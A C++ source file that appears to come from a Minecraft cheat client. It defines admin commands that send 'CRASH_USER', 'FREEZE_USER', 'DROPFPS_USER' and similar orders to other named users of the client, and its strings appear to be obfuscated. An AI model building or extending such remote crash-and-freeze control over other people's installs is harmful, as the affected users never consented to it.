#include "AdminCommand.h"
#include "Utils/SecurityUtils.h"
#include "Utils/ChatUtils.h"

#include "Datas/UserDatas.h"

auto AdminCommand::onExecute(std::vector<std::string> argments) -> bool {
	if (argments.size() < 2) return false;

	std::string option = argments.at(1);

	if (option == _("crash") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();
		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("crash");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("CRASH_USER ") + target);
	}

	else if (option == _("eject") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();

		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("eject");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("EJECT_USER ") + target);
	}

	else if (option == _("freeze") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();

		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("freeze");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("FREEZE_USER ") + target);
	}
	else if (option == _("unfreeze") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();

		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("unfreeze");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("UNFREEZE_USER ") + target);
	}

	else if (option == _("dropfps") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();

		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("dropfps");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("DROPFPS_USER ") + target);
	}
	else if (option == _("undropfps") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();

		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("undropfps");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("UNDROPFPS_USER ") + target);
	}

	else if (option == _("fling") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();

		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("fling");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("FLING_USER ") + target);
	}

	else if (option == _("joinirc") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();

		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("joinirc");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("JOINIRC_USER ") + target);
	}

	else if (option == _("kickirc") && argments.size() >= 3) {
		std::ostringstream ss;
		for (size_t i = 2; i < argments.size(); i++) {
			ss << (i != 2 ? _(" ") : _("")) << argments.at(i);
		}
		std::string target = ss.str();

		if (target == Datas::User::name) {
			Utils::Chat::display(_("It cannot."), Utils::Chat::Type::RED);
			return true;
		}

		Client::lastadmincommandline1 = _("kickirc");
		Client::lastadmincommandline2 = target;
		Utils::Security::sendcommand(_("KICKIRC_USER ") + target);
	}

	else if (option == _("list") && argments.size() == 2) {
		Utils::Chat::display(
			reinterpret_cast<const char*>(_(u8"lList of online users (")) + std::to_string(Client::users.size()) + reinterpret_cast<const char*>(_(u8")rl:"))
		);

		for (Client::UserData user : Client::users) {
			Utils::Chat::display(
				reinterpret_cast<const char*>(_(u8"7")) + user.username + (user.mcid.empty() ? _("") : reinterpret_cast<const char*>(_(u8" - ")) + user.mcid)
			);
		}
	}

	else {
		return false;
	}

	return true;
}
